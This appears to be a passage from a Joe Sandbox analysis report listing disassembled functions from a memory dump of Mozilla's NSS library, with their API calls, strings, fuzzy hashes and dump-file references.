Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: d096dfb509edc69b9db94087635084b85a4ec3400674881046e6db61a5f96df2
Instruction ID: 3090da72af25f10afc1bb80a95a97fe169db4af41f2a36a5652f64d31a5da90e
Opcode Fuzzy Hash: d096dfb509edc69b9db94087635084b85a4ec3400674881046e6db61a5f96df2
Instruction Fuzzy Hash: 0C71D676900204ABDF119F74DC489AA7B78FF09358B098625EC18AB711EB31E9D9C7D0

Function 6CAA8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CAA8E22
EnterCriticalSection.KERNEL32(?), ref: 6CAA8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CAA8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CAA8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F00
free.MOZGLUE(?), ref: 6CAA8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F5B
PR_Unlock.NSS3(?), ref: 6CAA8F72
PR_Unlock.NSS3(?), ref: 6CAA8F82

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction ID: b9d5e40b99e342fff7cf73448dcd6a31c6cec3fcd12895dbaacae6eb9958bdca
Opcode Fuzzy Hash: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction Fuzzy Hash: C0514BB2D002519FD7109FA8DC8496EB7B9FF45758F18412AEC189B700E731ED9687E1

Function 6CACCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CACCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CACCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CACCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CACCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CACCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CACCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CACCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CACCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CACCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CACCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CACCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CACD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CACD021

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 7cca6687e1a15d7e9cdc97c950d99b9c23536af90af652c48ab10c2a90f66c9e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 1D314371B52D2127EF0D145E5D31BEE145A4B6930EF480138F90BE57C0F6C5979B42E6

Function 6CBA0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CBA1000

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBA1016

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_Unlock.NSS3(?), ref: 6CBA1021

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBA1046
PR_Unlock.NSS3(?), ref: 6CBA106B
PR_Lock.NSS3 ref: 6CBA1079
PR_Unlock.NSS3 ref: 6CBA1096
free.MOZGLUE(?), ref: 6CBA10A7
free.MOZGLUE(?), ref: 6CBA10B4
PR_DestroyCondVar.NSS3(?), ref: 6CBA10BF
PR_DestroyCondVar.NSS3(?), ref: 6CBA10CA
PR_DestroyCondVar.NSS3(?), ref: 6CBA10D5
PR_DestroyCondVar.NSS3(?), ref: 6CBA10E0
PR_DestroyLock.NSS3(?), ref: 6CBA10EB
free.MOZGLUE(?), ref: 6CBA1105

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction ID: baad766ba063756a15e6bfdf4630843d7522b1223e08d8777d86d944554dcbb7
Opcode Fuzzy Hash: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction Fuzzy Hash: 383187B9900491EBD7029FA1FD41A49BB75FF01318B084220E80913F61E732F8B9DAC2

Function 6CADEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CADEE0B

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADEEE1

Part of subcall function 6CAD1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAD1D7E
Part of subcall function 6CAD1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAD1D8E
Part of subcall function 6CAD1D50: PR_Unlock.NSS3(?), ref: 6CAD1DD3

TlsGetValue.KERNEL32 ref: 6CADEE51
EnterCriticalSection.KERNEL32(?), ref: 6CADEE65
PR_Unlock.NSS3(?), ref: 6CADEEA2
free.MOZGLUE(?), ref: 6CADEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CADEED0
PR_Unlock.NSS3(?), ref: 6CADEF48
free.MOZGLUE(?), ref: 6CADEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CADEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CADEFA4
free.MOZGLUE(?), ref: 6CADEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CADF055
free.MOZGLUE(?), ref: 6CADF060

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction ID: 148519ca50ad557006aa0ca9b6a63dcfc573e09e33066ce1c1c3a2ba21569053
Opcode Fuzzy Hash: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction Fuzzy Hash: C98183B5A00215ABDF01DFA4DD45BDEBBB5BF0C358F190024E919A3711EB31E9A4CBA1

Function 6CAA4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CAA4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CAA4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CAA4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CAA4E85
DER_Encode_Util.NSS3(?,?,6CBF05A4,00000000), ref: 6CAA4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CAA4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CAA4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4FC8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction ID: 4a7d49b6eb7a0a897816d01854307a65a02c16ea25c7e9e1bb493e7fdb13e822
Opcode Fuzzy Hash: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction Fuzzy Hash: 3D81B271908301AFE711CFA4DD40B5BB7E4AB88718F14952DF958CB641EB31E98ACB92

Function 6CAD8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAD9582), ref: 6CAD8F5B

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CAD8F6A

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CAD8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBBD820,6CAD9576), ref: 6CAD8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CAD901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CAD903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAD9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CAD90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CAD90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CAD90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAD912D
free.MOZGLUE(00000000), ref: 6CAD9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAD9145

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 2de9c8abaaccfd16a559e5ee2a145862387522100bad7815f5e7f1757a3940e0
Instruction ID: e972fbcc19fbe6e6c143bd182e7deb67143e07f282efcb72bcf27cb7413fd0e3
Opcode Fuzzy Hash: 2de9c8abaaccfd16a559e5ee2a145862387522100bad7815f5e7f1757a3940e0
Instruction Fuzzy Hash: 7F51C4B1A042409BE700CF28DD41B9BB7E8EF98318F094529F95997741EB35E989CBD3

Function 6CBA4960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6CBA8061,?,?,?,?), ref: 6CBA497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CBA499E
GetLastError.KERNEL32(?,?,6CBA8061,?,?,?,?), ref: 6CBA49AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CBA8061,?,?,?,?), ref: 6CBA49C2

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CBA8061,?,?,?,?), ref: 6CBA49D6
CreateSemaphoreA.KERNEL32(00000000,6CBA8061,7FFFFFFF,?), ref: 6CBA4A19
GetLastError.KERNEL32(?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4A52
GetLastError.KERNEL32(?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4A6A
CreateSemaphoreA.KERNEL32(?,6CBA8061,7FFFFFFF,?), ref: 6CBA4A9A
free.MOZGLUE(?,?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4AAE
free.MOZGLUE(?,?,?,?,?,6CBA8061,?,?,?,?), ref: 6CBA4AC2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 76b739ae38d9721e56b52c21992070ff42ce98164970aac1e0615789f8cca4c9
Instruction ID: 0cb8bcb2186938895985270e615eba6df0dabe763ce1cae482cb2d1e4fab90b1
Opcode Fuzzy Hash: 76b739ae38d9721e56b52c21992070ff42ce98164970aac1e0615789f8cca4c9
Instruction Fuzzy Hash: 6E411270B042559FDB40AFE8DC49B8E7BB8EB4A798F100124ED5AA3740DF3098158B6A

Function 6CBAC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CBAC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAC8DA
malloc.MOZGLUE(00000001), ref: 6CBAC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBAC8F8
PR_NewLock.NSS3 ref: 6CBAC909
PR_NewCondVar.NSS3(00000000), ref: 6CBAC918
PR_NewCondVar.NSS3(00000000), ref: 6CBAC92A

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

free.MOZGLUE(00000000), ref: 6CBAC947

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: f5a585eb6ac2aef4115f55576c170fb5a3a329a076e9c2924c385d3722cdca74
Instruction ID: ebd5d7b576290b0df1f02a0b2da5626242e1682ae810b68ad8588aafc1876fdc
Opcode Fuzzy Hash: f5a585eb6ac2aef4115f55576c170fb5a3a329a076e9c2924c385d3722cdca74
Instruction Fuzzy Hash: 1921E9F1A047515BEB11BFB89C0565F7AB8EF05698F140538E89AC3B00E731D519CBA6

Function 6CA8AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA8AF47

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

FreeLibrary.KERNEL32(?), ref: 6CA8AF6D
free.MOZGLUE(?), ref: 6CA8AFA4
free.MOZGLUE(?), ref: 6CA8AFAA
PR_ExitMonitor.NSS3 ref: 6CA8AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA8AFF5
PR_ExitMonitor.NSS3 ref: 6CA8B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA8B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B03C

Strings

Unloaded library %s, xrefs: 6CA8B023
%s decr => %d, xrefs: 6CA8AFF0

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction ID: 097393cdecb95c28ea6f9fac8677bac7cfe9c99ad437df74d2c367be3e81ac32
Opcode Fuzzy Hash: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction Fuzzy Hash: 973109F5B05150ABD701AF64EC40A59B776EB05718B1C4225E81A87F80F732EC65C7E2

Function 6CAD6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

Strings

sql:, xrefs: 6CAD6C52
dbm:, xrefs: 6CAD6C3A
extern:, xrefs: 6CAD6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6CAD6C91
rdb:, xrefs: 6CAD6C69
dbm, xrefs: 6CAD6CA4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction ID: 883bebc16850bd4de2daa64446714f62d4724dd697420ecdca7255ada1a2f7c1
Opcode Fuzzy Hash: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction Fuzzy Hash: D401F2A170238123E660277E6C4EF66360C9F416A8F1A0831FE18E1A81FBA2F51840A5

Function 6CAE4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CAA78F8), ref: 6CAE4E6D

Part of subcall function 6CA809E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA806A2,00000000,?), ref: 6CA809F8
Part of subcall function 6CA809E0: malloc.MOZGLUE(0000001F), ref: 6CA80A18
Part of subcall function 6CA809E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA80A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CAA78F8), ref: 6CAE4ED9

Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703,?,00000000,00000000), ref: 6CAD5942
Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703), ref: 6CAD5954
